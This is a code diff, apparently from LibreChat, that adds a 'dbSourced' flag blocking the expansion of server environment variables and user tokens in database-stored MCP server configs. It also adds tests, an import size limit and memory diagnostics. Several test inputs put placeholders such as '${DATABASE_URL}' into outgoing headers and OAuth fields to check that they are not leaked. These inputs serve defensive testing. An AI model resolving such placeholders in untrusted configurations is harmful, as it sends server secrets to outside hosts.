@@ -43,15 +38,14 @@ describe('encodeHeaderValue', () => {
   });
 
   it('should return empty string for null/undefined coerced to empty string', () => {
-    // TypeScript would prevent these, but testing runtime behavior
-    expect(encodeHeaderValue(null as any)).toBe('');
-    expect(encodeHeaderValue(undefined as any)).toBe('');
+    expect(encodeHeaderValue(null as unknown as string)).toBe('');
+    expect(encodeHeaderValue(undefined as unknown as string)).toBe('');
   });
 
   it('should return empty string for non-string values', () => {
-    expect(encodeHeaderValue(123 as any)).toBe('');
-    expect(encodeHeaderValue(false as any)).toBe('');
-    expect(encodeHeaderValue({} as any)).toBe('');
+    expect(encodeHeaderValue(123 as unknown as string)).toBe('');
+    expect(encodeHeaderValue(false as unknown as string)).toBe('');
+    expect(encodeHeaderValue({} as unknown as string)).toBe('');
   });
 
   it('should pass through ASCII characters (0-127) unchanged', () => {
@@ -1612,4 +1606,365 @@ describe('processMCPEnv', () => {
       }
     });
   });
+
+  describe('dbSourced flag', () => {
+    beforeEach(() => {
+      process.env.TEST_API_KEY = 'test-api-key-value';
+      process.env.DATABASE_URL = 'mongodb://secret-host:27017/db';
+    });
+
+    afterEach(() => {
+      delete process.env.TEST_API_KEY;
+      delete process.env.DATABASE_URL;
+    });
+
+    it('should resolve customUserVars when dbSourced is true', () => {
+      const options: MCPOptions = {
+        type: 'streamable-http',
+        url: 'https://api.example.com',
+        headers: {
+          Authorization: 'Bearer {{MCP_API_KEY}}',
+        },
+      };
+
+      const result = processMCPEnv({
+        options,
+        dbSourced: true,
+        customUserVars: { MCP_API_KEY: 'user-secret-key' },
+      });
+
+      if (isStreamableHTTPOptions(result)) {
+        expect(result.headers?.Authorization).toBe('Bearer user-secret-key');
+      } else {
+        throw new Error('Expected streamable-http options');
+      }
+    });
+
+    it('should NOT resolve ${ENV_VAR} when dbSourced is true', () => {
+      const options: MCPOptions = {
+        type: 'streamable-http',
+        url: 'https://api.example.com',
+        headers: {
+          'X-Leaked': '${DATABASE_URL}',
+          'X-Key': '${TEST_API_KEY}',
+        },
+      };
+
+      const result = processMCPEnv({ options, dbSourced: true });
+
+      if (isStreamableHTTPOptions(result)) {
+        expect(result.headers?.['X-Leaked']).toBe('${DATABASE_URL}');
+        expect(result.headers?.['X-Key']).toBe('${TEST_API_KEY}');
+      } else {
+        throw new Error('Expected streamable-http options');
+      }
+    });
+
+    it('should NOT resolve {{LIBRECHAT_USER_*}} when dbSourced is true', () => {
+      const user = createTestUser({ id: 'user-123', email: 'test@example.com' });
+      const options: MCPOptions = {
+        type: 'streamable-http',
+        url: 'https://api.example.com',
+        headers: {
+          'X-User-Id': '{{LIBRECHAT_USER_ID}}',
+          'X-User-Email': '{{LIBRECHAT_USER_EMAIL}}',
+        },
+      };
+
+      const result = processMCPEnv({ options, user, dbSourced: true });
+
+      if (isStreamableHTTPOptions(result)) {
+        expect(result.headers?.['X-User-Id']).toBe('{{LIBRECHAT_USER_ID}}');
+        expect(result.headers?.['X-User-Email']).toBe('{{LIBRECHAT_USER_EMAIL}}');
+      } else {
+        throw new Error('Expected streamable-http options');
+      }
+    });
+
+    it('should NOT resolve {{LIBRECHAT_OPENID_*}} when dbSourced is true', () => {
+      const user = {
+        ...createTestUser({ id: 'user-123', provider: 'openid' }),
+        federatedTokens: {
+          access_token: 'oidc-access-token',
+          id_token: 'oidc-id-token',
+          refresh_token: 'oidc-refresh-token',
+          token_type: 'Bearer',
+          expires_at: Date.now() + 3600000,
+        },
+      };
+      const options: MCPOptions = {
+        type: 'streamable-http',
+        url: 'https://api.example.com',
+        headers: {
+          Authorization: 'Bearer {{LIBRECHAT_OPENID_ACCESS_TOKEN}}',
+        },
+      };
+
+      const result = processMCPEnv({ options, user, dbSourced: true });
+
+      if (isStreamableHTTPOptions(result)) {
+        expect(result.headers?.Authorization).toBe('Bearer {{LIBRECHAT_OPENID_ACCESS_TOKEN}}');
+      } else {
+        throw new Error('Expected streamable-http options');
+      }
+    });
+
+    it('should NOT resolve {{LIBRECHAT_BODY_*}} when dbSourced is true', () => {
+      const body = {
+        conversationId: 'conv-123',
+        parentMessageId: 'parent-456',
+        messageId: 'msg-789',
+      };
+      const options: MCPOptions = {
+        type: 'streamable-http',
+        url: 'https://api.example.com',
+        headers: {
+          'X-Conversation': '{{LIBRECHAT_BODY_CONVERSATIONID}}',
+        },
+      };
+
+      const result = processMCPEnv({ options, body, dbSourced: true });
+
+      if (isStreamableHTTPOptions(result)) {
+        expect(result.headers?.['X-Conversation']).toBe('{{LIBRECHAT_BODY_CONVERSATIONID}}');
+      } else {
+        throw new Error('Expected streamable-http options');
+      }
+    });
+
+    it('should resolve customUserVars but block all other placeholders when dbSourced is true', () => {
+      const user = createTestUser({ id: 'user-123' });
+      const body = { conversationId: 'conv-123', parentMessageId: 'p-1', messageId: 'm-1' };
+      const options: MCPOptions = {
+        type: 'streamable-http',
+        url: '${DATABASE_URL}',
+        headers: {
+          Authorization: 'Bearer {{MCP_API_KEY}}',
+          'X-Env-Leak': '${TEST_API_KEY}',
+          'X-User-Id': '{{LIBRECHAT_USER_ID}}',
+          'X-Body': '{{LIBRECHAT_BODY_CONVERSATIONID}}',
+        },
+      };
+
+      const result = processMCPEnv({
+        options,
+        user,
+        body,
+        dbSourced: true,
+        customUserVars: { MCP_API_KEY: 'user-key-value' },
+      });
+
+      if (isStreamableHTTPOptions(result)) {
+        expect(result.headers?.Authorization).toBe('Bearer user-key-value');
+        expect(result.headers?.['X-Env-Leak']).toBe('${TEST_API_KEY}');
+        expect(result.headers?.['X-User-Id']).toBe('{{LIBRECHAT_USER_ID}}');
+        expect(result.headers?.['X-Body']).toBe('{{LIBRECHAT_BODY_CONVERSATIONID}}');
+        expect(result.url).toBe('${DATABASE_URL}');
+      } else {
+        throw new Error('Expected streamable-http options');
+      }
+    });
+
+    it('should resolve all placeholders when dbSourced is false (default)', () => {
+      const user = createTestUser({ id: 'user-123' });
+      const options: MCPOptions = {
+        type: 'streamable-http',
+        url: 'https://api.example.com',
+        headers: {
+          Authorization: 'Bearer {{MCP_API_KEY}}',
+          'X-Env': '${TEST_API_KEY}',
+          'X-User-Id': '{{LIBRECHAT_USER_ID}}',
+        },
+      };
+
+      const result = processMCPEnv({
+        options,
+        user,
+        dbSourced: false,
+        customUserVars: { MCP_API_KEY: 'user-key-value' },
+      });
+
+      if (isStreamableHTTPOptions(result)) {
+        expect(result.headers?.Authorization).toBe('Bearer user-key-value');
+        expect(result.headers?.['X-Env']).toBe('test-api-key-value');
+        expect(result.headers?.['X-User-Id']).toBe('user-123');
+      } else {
+        throw new Error('Expected streamable-http options');
+      }
+    });
+
+    it('should apply dbSourced to env, args, and URL — not just headers', () => {
+      const options: MCPOptions = {
+        type: 'stdio',
+        command: 'mcp-server',
+        args: ['--key', '${TEST_API_KEY}', '--custom', '{{MY_VAR}}'],
+        env: {
+          SECRET: '${DATABASE_URL}',
+          CUSTOM: '{{MY_VAR}}',
+        },
+      };
+
+      const result = processMCPEnv({
+        options,
+        dbSourced: true,
+        customUserVars: { MY_VAR: 'resolved-value' },
+      });
+
+      if (isStdioOptions(result)) {
+        expect(result.env?.SECRET).toBe('${DATABASE_URL}');
+        expect(result.env?.CUSTOM).toBe('resolved-value');
+        expect(result.args?.[1]).toBe('${TEST_API_KEY}');
+        expect(result.args?.[3]).toBe('resolved-value');
+      } else {
+        throw new Error('Expected stdio options');
+      }
+    });
+
+    it('should still apply admin API key header injection when dbSourced is true', () => {
+      const options: MCPOptions = {
+        type: 'streamable-http',
+        url: 'https://api.example.com',
+        apiKey: {
+          source: 'admin',
+          authorization_type: 'bearer',
+          key: 'admin-managed-key',
+        },
+      };
+
+      const result = processMCPEnv({ options, dbSourced: true });
+
+      if (isStreamableHTTPOptions(result)) {
+        expect(result.headers?.Authorization).toBe('Bearer admin-managed-key');
+      } else {
+        throw new Error('Expected streamable-http options');
+      }
+    });
+
+    it('should block env vars in OAuth config when dbSourced is true', () => {
+      const options: MCPOptions = {
+        type: 'streamable-http',
+        url: 'https://api.example.com',
+        oauth: {
+          client_id: '${TEST_API_KEY}',
+          client_secret: '${DATABASE_URL}',
+          token_url: 'https://auth.example.com/token',
+          token_exchange_method: TokenExchangeMethodEnum.DefaultPost,
+        },
+      };
+
+      const result = processMCPEnv({ options, dbSourced: true });
+
+      const oauth = (result as { oauth?: Record<string, unknown> }).oauth;
+      expect(oauth?.client_id).toBe('${TEST_API_KEY}');
+      expect(oauth?.client_secret).toBe('${DATABASE_URL}');
+    });
+
+    it('should resolve customUserVars in OAuth config when dbSourced is true', () => {
+      const options: MCPOptions = {
+        type: 'streamable-http',
+        url: 'https://api.example.com',
+        oauth: {
+          client_id: '{{MY_CLIENT_ID}}',
+          client_secret: '{{MY_CLIENT_SECRET}}',
+          token_url: 'https://auth.example.com/token',
+          token_exchange_method: TokenExchangeMethodEnum.DefaultPost,
+        },
+      };
+
+      const result = processMCPEnv({
+        options,
+        dbSourced: true,
+        customUserVars: { MY_CLIENT_ID: 'resolved-client', MY_CLIENT_SECRET: 'resolved-secret' },
+      });
+
+      const oauth = (result as { oauth?: Record<string, unknown> }).oauth;
+      expect(oauth?.client_id).toBe('resolved-client');
+      expect(oauth?.client_secret).toBe('resolved-secret');
+    });
+
+    it('should leave unresolved customUserVars as literal placeholders', () => {
+      const options: MCPOptions = {
+        type: 'streamable-http',
+        url: 'https://api.example.com',
+        headers: {
+          Authorization: 'Bearer {{MCP_API_KEY}}',
+        },
+      };
+
+      // No customUserVars provided — placeholder should remain
+      const result = processMCPEnv({ options, dbSourced: true });
+
+      if (isStreamableHTTPOptions(result)) {
+        expect(result.headers?.Authorization).toBe('Bearer {{MCP_API_KEY}}');
+      } else {
+        throw new Error('Expected streamable-http options');
+      }
+    });
+
+    it('should not modify the original options when dbSourced is true', () => {
+      const options: MCPOptions = {
+        type: 'streamable-http',
+        url: '${DATABASE_URL}',
+        headers: {
+          Authorization: 'Bearer {{MCP_API_KEY}}',
+          'X-Env': '${TEST_API_KEY}',
+        },
+      };
+
+      const originalUrl = options.url;
+      const originalAuth = (options as { headers: Record<string, string> }).headers.Authorization;
+
+      processMCPEnv({
+        options,
+        dbSourced: true,
+        customUserVars: { MCP_API_KEY: 'resolved' },
+      });
+
+      expect(options.url).toBe(originalUrl);
+      expect((options as { headers: Record<string, string> }).headers.Authorization).toBe(
+        originalAuth,
+      );
+    });
+
+    it('should handle empty customUserVars object without errors', () => {
+      const options: MCPOptions = {
+        type: 'streamable-http',
+        url: 'https://api.example.com',
+        headers: {
+          'X-Key': '${TEST_API_KEY}',
+          'X-Custom': '{{MCP_API_KEY}}',
+        },
+      };
+
+      const result = processMCPEnv({ options, dbSourced: true, customUserVars: {} });
+
+      if (isStreamableHTTPOptions(result)) {
+        expect(result.headers?.['X-Key']).toBe('${TEST_API_KEY}');
+        expect(result.headers?.['X-Custom']).toBe('{{MCP_API_KEY}}');
+      } else {
+        throw new Error('Expected streamable-http options');
+      }
+    });
+
+    it('dbSourced undefined should behave like false (resolve everything)', () => {
+      const user = createTestUser({ id: 'user-abc' });
+      const options: MCPOptions = {
+        type: 'streamable-http',
+        url: 'https://api.example.com',
+        headers: {
+          'X-Env': '${TEST_API_KEY}',
+          'X-User': '{{LIBRECHAT_USER_ID}}',
+        },
+      };
+
+      const result = processMCPEnv({ options, user });
+
+      if (isStreamableHTTPOptions(result)) {
+        expect(result.headers?.['X-Env']).toBe('test-api-key-value');
+        expect(result.headers?.['X-User']).toBe('user-abc');
+      } else {
+        throw new Error('Expected streamable-http options');
+      }
+    });
+  });
 });
diff --git a/packages/api/src/utils/env.ts b/packages/api/src/utils/env.ts
index f4fd2b1c78..78d6f9ebdf 100644
--- a/packages/api/src/utils/env.ts
+++ b/packages/api/src/utils/env.ts
@@ -209,12 +209,15 @@ function processSingleValue({
   user,
   body = undefined,
   isHeader = false,
+  dbSourced = false,
 }: {
   originalValue: string;
   customUserVars?: Record<string, string>;
   user?: Partial<IUser>;
   body?: RequestBody;
   isHeader?: boolean;
+  /** When true, only resolve customUserVars — skip env vars, user/OpenID/body placeholders */
+  dbSourced?: boolean;
 }): string {
   // Type guard: ensure we're working with a string
   if (typeof originalValue !== 'string') {
@@ -232,6 +235,10 @@ function processSingleValue({
     }
   }
 
+  if (dbSourced) {
+    return value;
+  }
+
   value = processUserPlaceholders(value, user, isHeader);
 
   const openidTokenInfo = extractOpenIDTokenInfo(user);
@@ -258,10 +265,12 @@ function processSingleValue({
  * @returns - The processed object with environment variables replaced
  */
 export function processMCPEnv(params: {
-  options: Readonly<MCPOptions>;
+  options: Readonly<MCPOptions> & { dbId?: string };
   user?: Partial<IUser>;
   customUserVars?: Record<string, string>;
   body?: RequestBody;
+  /** When true, only resolve customUserVars — skip env vars, user/OpenID/body placeholders (for DB-stored servers) */
+  dbSourced?: boolean;
 }): MCPOptions {
   const { options, user, customUserVars, body } = params;
 
@@ -269,6 +278,9 @@ export function processMCPEnv(params: {
     return options;
   }
 
+  /** Derive dbSourced from explicit param OR from dbId on the options (failsafe for callers that forget the flag) */
+  const dbSourced = params.dbSourced ?? !!options.dbId;
+
   const newObj: MCPOptions = structuredClone(options);
 
   // Apply admin-provided API key to headers at runtime
@@ -306,7 +318,13 @@ export function processMCPEnv(params: {
   if ('env' in newObj && newObj.env) {
     const processedEnv: Record<string, string> = {};
     for (const [key, originalValue] of Object.entries(newObj.env)) {
-      processedEnv[key] = processSingleValue({ originalValue, customUserVars, user, body });
+      processedEnv[key] = processSingleValue({
+        user,
+        body,
+        dbSourced,
+        originalValue,
+        customUserVars,
+      });
     }
     newObj.env = processedEnv;
   }
@@ -314,7 +332,9 @@ export function processMCPEnv(params: {
   if ('args' in newObj && newObj.args) {
     const processedArgs: string[] = [];
     for (const originalValue of newObj.args) {
-      processedArgs.push(processSingleValue({ originalValue, customUserVars, user, body }));
+      processedArgs.push(
+        processSingleValue({ originalValue, customUserVars, user, body, dbSourced }),
+      );
     }
     newObj.args = processedArgs;
   }
@@ -325,10 +345,11 @@ export function processMCPEnv(params: {
     const processedHeaders: Record<string, string> = {};
     for (const [key, originalValue] of Object.entries(newObj.headers)) {
       processedHeaders[key] = processSingleValue({
-        originalValue,
-        customUserVars,
         user,
         body,
+        dbSourced,
+        originalValue,
+        customUserVars,
         isHeader: true, // Important: Enable header encoding
       });
     }
@@ -337,7 +358,13 @@ export function processMCPEnv(params: {
 
   // Process URL if it exists (for WebSocket, SSE, StreamableHTTP types)
   if ('url' in newObj && newObj.url) {
-    newObj.url = processSingleValue({ originalValue: newObj.url, customUserVars, user, body });
+    newObj.url = processSingleValue({
+      user,
+      body,
+      dbSourced,
+      customUserVars,
+      originalValue: newObj.url,
+    });
   }
 
   // Process OAuth configuration if it exists (for all transport types)
@@ -347,7 +374,13 @@ export function processMCPEnv(params: {
       // Only process string values for environment variables
       // token_exchange_method is an enum and shouldn't be processed
       if (typeof originalValue === 'string') {
-        processedOAuth[key] = processSingleValue({ originalValue, customUserVars, user, body });
+        processedOAuth[key] = processSingleValue({
+          user,
+          body,
+          dbSourced,
+          originalValue,
+          customUserVars,
+        });
       } else {
         processedOAuth[key] = originalValue;
       }
diff --git a/packages/api/src/utils/import.ts b/packages/api/src/utils/import.ts
new file mode 100644
index 0000000000..94a2c8f818
--- /dev/null
+++ b/packages/api/src/utils/import.ts
@@ -0,0 +1,20 @@
+import { logger } from '@librechat/data-schemas';
+
+/** 250 MiB — default max file size for conversation imports */
+export const DEFAULT_IMPORT_MAX_FILE_SIZE = 262144000;
+
+/** Resolves the import file-size limit from the env var, falling back to the 250 MiB default */
+export function resolveImportMaxFileSize(): number {
+  const raw = process.env.CONVERSATION_IMPORT_MAX_FILE_SIZE_BYTES;
+  if (!raw) {
+    return DEFAULT_IMPORT_MAX_FILE_SIZE;
+  }
+  const parsed = Number(raw);
+  if (!Number.isFinite(parsed) || parsed <= 0) {
+    logger.warn(
+      `[imports] Invalid CONVERSATION_IMPORT_MAX_FILE_SIZE_BYTES="${raw}"; using default ${DEFAULT_IMPORT_MAX_FILE_SIZE}`,
+    );
+    return DEFAULT_IMPORT_MAX_FILE_SIZE;
+  }
+  return parsed;
+}
diff --git a/packages/api/src/utils/index.ts b/packages/api/src/utils/index.ts
index d4351eb5a0..5b9315d8c7 100644
--- a/packages/api/src/utils/index.ts
+++ b/packages/api/src/utils/index.ts
@@ -6,6 +6,7 @@ export * from './email';
 export * from './env';
 export * from './events';
 export * from './files';
+export * from './import';
 export * from './generators';
 export * from './graph';
 export * from './path';
@@ -19,9 +20,9 @@ export * from './promise';
 export * from './sanitizeTitle';
 export * from './tempChatRetention';
 export * from './text';
-export { default as Tokenizer, countTokens } from './tokenizer';
 export * from './yaml';
 export * from './http';
 export * from './tokens';
 export * from './url';
 export * from './message';
+export * from './tracing';
diff --git a/packages/api/src/utils/memory.ts b/packages/api/src/utils/memory.ts
new file mode 100644
index 0000000000..214548d14b
--- /dev/null
+++ b/packages/api/src/utils/memory.ts
@@ -0,0 +1,150 @@
+import { logger } from '@librechat/data-schemas';
+import { GenerationJobManager } from '~/stream';
+import { OAuthReconnectionManager } from '~/mcp/oauth/OAuthReconnectionManager';
+import { MCPManager } from '~/mcp/MCPManager';
+
+type ConnectionStats = ReturnType<InstanceType<typeof MCPManager>['getConnectionStats']>;
+type TrackerStats = ReturnType<InstanceType<typeof OAuthReconnectionManager>['getTrackerStats']>;
+type RuntimeStats = ReturnType<(typeof GenerationJobManager)['getRuntimeStats']>;
+
+const INTERVAL_MS = 60_000;
+const SNAPSHOT_HISTORY_LIMIT = 120;
+
+interface MemorySnapshot {
+  ts: number;
+  rss: number;
+  heapUsed: number;
+  heapTotal: number;
+  external: number;
+  arrayBuffers: number;
+  mcpConnections: ConnectionStats | null;
+  oauthTracker: TrackerStats | null;
+  generationJobs: RuntimeStats | null;
+}
+
+const snapshots: MemorySnapshot[] = [];
+let interval: NodeJS.Timeout | null = null;
+
+function toMB(bytes: number): string {
+  return (bytes / 1024 / 1024).toFixed(2);
+}
+
+function getMCPStats(): {
+  mcpConnections: ConnectionStats | null;
+  oauthTracker: TrackerStats | null;
+} {
+  let mcpConnections: ConnectionStats | null = null;
+  let oauthTracker: TrackerStats | null = null;
+
+  try {
+    mcpConnections = MCPManager.getInstance().getConnectionStats();
+  } catch {
+    /* not initialized yet */
+  }
+
+  try {
+    oauthTracker = OAuthReconnectionManager.getInstance().getTrackerStats();
+  } catch {
+    /* not initialized yet */
+  }
+
+  return { mcpConnections, oauthTracker };
+}
+
+function getJobStats(): { generationJobs: RuntimeStats | null } {
+  try {
+    return { generationJobs: GenerationJobManager.getRuntimeStats() };
+  } catch {
+    return { generationJobs: null };
+  }
+}
+
+function collectSnapshot(): void {
+  const mem = process.memoryUsage();
+  const mcpStats = getMCPStats();
+  const jobStats = getJobStats();
+
+  const snapshot: MemorySnapshot = {
+    ts: Date.now(),
+    rss: mem.rss,
+    heapUsed: mem.heapUsed,
+    heapTotal: mem.heapTotal,
+    external: mem.external,
+    arrayBuffers: mem.arrayBuffers ?? 0,
+    ...mcpStats,
+    ...jobStats,
+  };
+
+  snapshots.push(snapshot);
+  if (snapshots.length > SNAPSHOT_HISTORY_LIMIT) {
+    snapshots.shift();
+  }
+
+  logger.debug('[MemDiag] Snapshot', {
+    rss: `${toMB(mem.rss)} MB`,
+    heapUsed: `${toMB(mem.heapUsed)} MB`,
+    heapTotal: `${toMB(mem.heapTotal)} MB`,
+    external: `${toMB(mem.external)} MB`,
+    arrayBuffers: `${toMB(mem.arrayBuffers ?? 0)} MB`,
+    mcp: mcpStats,
+    jobs: jobStats,
+    snapshotCount: snapshots.length,
+  });
+
+  if (snapshots.length < 3) {
+    return;
+  }
+
+  const first = snapshots[0];
+  const last = snapshots[snapshots.length - 1];
+  const elapsedMin = (last.ts - first.ts) / 60_000;
+  if (elapsedMin < 0.1) {
+    return;
+  }
+  const rssDelta = last.rss - first.rss;
+  const heapDelta = last.heapUsed - first.heapUsed;
+  logger.debug('[MemDiag] Trend', {
+    overMinutes: elapsedMin.toFixed(1),
+    rssDelta: `${toMB(rssDelta)} MB`,
+    heapDelta: `${toMB(heapDelta)} MB`,
+    rssRate: `${toMB((rssDelta / elapsedMin) * 60)} MB/hr`,
+    heapRate: `${toMB((heapDelta / elapsedMin) * 60)} MB/hr`,
+  });
+}
+
+function forceGC(): boolean {
+  if (global.gc) {
+    global.gc();
+    logger.info('[MemDiag] Forced garbage collection');
+    return true;
+  }
+  logger.warn('[MemDiag] GC not exposed. Start with --expose-gc to enable.');
+  return false;
+}
+
+function getSnapshots(): readonly MemorySnapshot[] {
+  return snapshots;
+}
+
+function start(): void {
+  if (interval) {
+    return;
+  }
+  logger.info(`[MemDiag] Starting memory diagnostics (interval: ${INTERVAL_MS / 1000}s)`);
+  collectSnapshot();
+  interval = setInterval(collectSnapshot, INTERVAL_MS);
+  if (interval.unref) {
+    interval.unref();
+  }
+}
+
+function stop(): void {
+  if (!interval) {
+    return;
+  }
+  clearInterval(interval);
+  interval = null;
+  logger.info('[MemDiag] Stopped memory diagnostics');
+}
+
+export const memoryDiagnostics = { start, stop, forceGC, getSnapshots, collectSnapshot };
diff --git a/packages/api/src/utils/message.spec.ts b/packages/api/src/utils/message.spec.ts
index ba626c83fd..7fe6cf5239 100644
--- a/packages/api/src/utils/message.spec.ts
+++ b/packages/api/src/utils/message.spec.ts
@@ -1,5 +1,10 @@
 import { Constants } from 'librechat-data-provider';
-import { sanitizeFileForTransmit, sanitizeMessageForTransmit, getThreadData } from './message';
+import {
+  sanitizeMessageForTransmit,
+  sanitizeFileForTransmit,
+  buildMessageFiles,
+  getThreadData,
+} from './message';
 
 /** Cast to string for type compatibility with ThreadMessage */
 const NO_PARENT = Constants.NO_PARENT as string;
@@ -125,47 +130,107 @@ describe('sanitizeMessageForTransmit', () => {
   });
 });
 
+describe('buildMessageFiles', () => {
+  const baseAttachment = {
+    file_id: 'file-1',
+    filename: 'test.png',
+    filepath: '/uploads/test.png',
+    type: 'image/png',
+    bytes: 512,
+    object: 'file' as const,
+    user: 'user-1',
+    embedded: false,
+    usage: 0,
+    text: 'big ocr text',
+    _id: 'mongo-id',
+  };
+
+  it('returns sanitized files matching request file IDs', () => {
+    const result = buildMessageFiles([{ file_id: 'file-1' }], [baseAttachment]);
+    expect(result).toHaveLength(1);
+    expect(result?.[0].file_id).toBe('file-1');
+    expect(result?.[0]).not.toHaveProperty('text');
+    expect(result?.[0]).not.toHaveProperty('_id');
+  });
+
+  it('returns undefined when no attachments match request IDs', () => {
+    const result = buildMessageFiles([{ file_id: 'file-nomatch' }], [baseAttachment]);
+    expect(result).toEqual([]);
+  });
+
+  it('returns undefined for empty attachments array', () => {
+    const result = buildMessageFiles([{ file_id: 'file-1' }], []);
+    expect(result).toEqual([]);
+  });
+
+  it('returns undefined for empty request files array', () => {
+    const result = buildMessageFiles([], [baseAttachment]);
+    expect(result).toEqual([]);
+  });
+
+  it('filters out undefined file_id entries in request files (no set poisoning)', () => {
+    const undefinedAttachment = { ...baseAttachment, file_id: undefined as unknown as string };
+    const result = buildMessageFiles(
+      [{ file_id: undefined }, { file_id: 'file-1' }],
+      [undefinedAttachment, baseAttachment],
+    );
+    expect(result).toHaveLength(1);
+    expect(result?.[0].file_id).toBe('file-1');
+  });
+
+  it('returns only attachments whose file_id is in the request set', () => {
+    const attachment2 = { ...baseAttachment, file_id: 'file-2', filename: 'b.png' };
+    const result = buildMessageFiles([{ file_id: 'file-1' }], [baseAttachment, attachment2]);
+    expect(result).toHaveLength(1);
+    expect(result?.[0].file_id).toBe('file-1');
+  });
+
+  it('does not mutate original attachment objects', () => {
+    buildMessageFiles([{ file_id: 'file-1' }], [baseAttachment]);
+    expect(baseAttachment.text).toBe('big ocr text');
+    expect(baseAttachment._id).toBe('mongo-id');
+  });
+});
+
 describe('getThreadData', () => {
-  describe('edge cases - empty and null inputs', () => {
-    it('should return empty result for empty messages array', () => {
-      const result = getThreadData([], 'parent-123');
+  it('should return empty result for empty messages array', () => {
+    const result = getThreadData([], 'parent-123');
 
-      expect(result.messageIds).toEqual([]);
-      expect(result.fileIds).toEqual([]);
-    });
+    expect(result.messageIds).toEqual([]);
+    expect(result.fileIds).toEqual([]);
+  });
 
-    it('should return empty result for null parentMessageId', () => {
-      const messages = [
-        { messageId: 'msg-1', parentMessageId: null },
-        { messageId: 'msg-2', parentMessageId: 'msg-1' },
-      ];
+  it('should return empty result for null parentMessageId', () => {
+    const messages = [
+      { messageId: 'msg-1', parentMessageId: null },
+      { messageId: 'msg-2', parentMessageId: 'msg-1' },
+    ];
 
-      const result = getThreadData(messages, null);
+    const result = getThreadData(messages, null);
 
-      expect(result.messageIds).toEqual([]);
-      expect(result.fileIds).toEqual([]);
-    });
+    expect(result.messageIds).toEqual([]);
+    expect(result.fileIds).toEqual([]);
+  });
 
-    it('should return empty result for undefined parentMessageId', () => {
-      const messages = [{ messageId: 'msg-1', parentMessageId: null }];
+  it('should return empty result for undefined parentMessageId', () => {
+    const messages = [{ messageId: 'msg-1', parentMessageId: null }];
 
-      const result = getThreadData(messages, undefined);
+    const result = getThreadData(messages, undefined);
 
-      expect(result.messageIds).toEqual([]);
-      expect(result.fileIds).toEqual([]);
-    });
+    expect(result.messageIds).toEqual([]);
+    expect(result.fileIds).toEqual([]);
+  });
 
-    it('should return empty result when parentMessageId not found in messages', () => {
-      const messages = [
-        { messageId: 'msg-1', parentMessageId: null },
-        { messageId: 'msg-2', parentMessageId: 'msg-1' },
-      ];
+  it('should return empty result when parentMessageId not found in messages', () => {
+    const messages = [
+      { messageId: 'msg-1', parentMessageId: null },
+      { messageId: 'msg-2', parentMessageId: 'msg-1' },
+    ];
 
-      const result = getThreadData(messages, 'non-existent');
+    const result = getThreadData(messages, 'non-existent');
 
-      expect(result.messageIds).toEqual([]);
-      expect(result.fileIds).toEqual([]);
-    });
+    expect(result.messageIds).toEqual([]);
+    expect(result.fileIds).toEqual([]);
   });
 
   describe('thread traversal', () => {
diff --git a/packages/api/src/utils/message.ts b/packages/api/src/utils/message.ts
index b1e939c6d7..719d04b838 100644
--- a/packages/api/src/utils/message.ts
+++ b/packages/api/src/utils/message.ts
@@ -1,6 +1,9 @@
 import { Constants } from 'librechat-data-provider';
 import type { TFile, TMessage } from 'librechat-data-provider';
 
+/** Minimal shape for request file entries (from `req.body.files`) */
+type RequestFile = { file_id?: string };
+
 /** Fields to strip from files before client transmission */
 const FILE_STRIP_FIELDS = ['text', '_id', '__v'] as const;
 
@@ -32,6 +35,27 @@ export function sanitizeFileForTransmit<T extends Partial<TFile>>(
   return sanitized;
 }
 
+/** Filters attachments to those whose `file_id` appears in `requestFiles`, then sanitizes each. */
+export function buildMessageFiles<T extends Partial<TFile>>(
+  requestFiles: RequestFile[],
+  attachments: T[],
+): Omit<T, (typeof FILE_STRIP_FIELDS)[number]>[] {
+  const requestFileIds = new Set<string>();
+  for (const f of requestFiles) {
+    if (f.file_id) {
+      requestFileIds.add(f.file_id);
+    }
+  }
+
+  const files: Omit<T, (typeof FILE_STRIP_FIELDS)[number]>[] = [];
+  for (const attachment of attachments) {
+    if (attachment.file_id != null && requestFileIds.has(attachment.file_id)) {
+      files.push(sanitizeFileForTransmit(attachment));
+    }
+  }
+  return files;
+}
+
 /**
  * Sanitizes a message object before transmitting to client.
  * Removes large fields like `fileContext` and strips `text` from embedded files.
diff --git a/packages/api/src/utils/sanitizeTitle.spec.ts b/packages/api/src/utils/sanitizeTitle.spec.ts
index 35a1fc1f1b..9899f01b7d 100644
--- a/packages/api/src/utils/sanitizeTitle.spec.ts
+++ b/packages/api/src/utils/sanitizeTitle.spec.ts
@@ -1,4 +1,4 @@
-import { sanitizeTitle } from './sanitizeTitle';
+import { sanitizeTitle, MAX_TITLE_LENGTH, DEFAULT_TITLE_FALLBACK } from './sanitizeTitle';
 
 describe('sanitizeTitle', () => {
   describe('Happy Path', () => {
@@ -123,21 +123,21 @@ describe('sanitizeTitle', () => {
 
   describe('Empty and Fallback Cases', () => {
     it('should return fallback for empty string', () => {
-      expect(sanitizeTitle('')).toBe('Untitled Conversation');
+      expect(sanitizeTitle('')).toBe(DEFAULT_TITLE_FALLBACK);
     });
 
     it('should return fallback when only whitespace remains', () => {
       const input = '<think>thinking</think>     \n\t\r\n    ';
-      expect(sanitizeTitle(input)).toBe('Untitled Conversation');
+      expect(sanitizeTitle(input)).toBe(DEFAULT_TITLE_FALLBACK);
     });
 
     it('should return fallback when only think blocks exist', () => {
       const input = '<think>just thinking</think><think>more thinking</think>';
-      expect(sanitizeTitle(input)).toBe('Untitled Conversation');
+      expect(sanitizeTitle(input)).toBe(DEFAULT_TITLE_FALLBACK);
     });
 
     it('should return fallback for non-string whitespace', () => {
-      expect(sanitizeTitle('   ')).toBe('Untitled Conversation');
+      expect(sanitizeTitle('   ')).toBe(DEFAULT_TITLE_FALLBACK);
     });
   });
 
@@ -174,6 +174,53 @@ describe('sanitizeTitle', () => {
     });
   });
 
+  describe('Max Length Truncation', () => {
+    const ellipsis = '...';
+    const maxContent = MAX_TITLE_LENGTH - ellipsis.length;
+
+    it('should pass through a title exactly at max length unchanged', () => {
+      const input = 'A'.repeat(MAX_TITLE_LENGTH);
+      expect(sanitizeTitle(input)).toBe(input);
+    });
+
+    it('should truncate a title over max length with ellipsis', () => {
+      const input = 'A'.repeat(MAX_TITLE_LENGTH + 50);
+      const result = sanitizeTitle(input);
+      expect(result).toBe('A'.repeat(maxContent) + ellipsis);
+      expect(result.length).toBeLessThanOrEqual(MAX_TITLE_LENGTH);
+    });
+
+    it('should truncate after think-block removal', () => {
+      const input = '<think>reasoning</think> ' + 'B'.repeat(MAX_TITLE_LENGTH + 50);
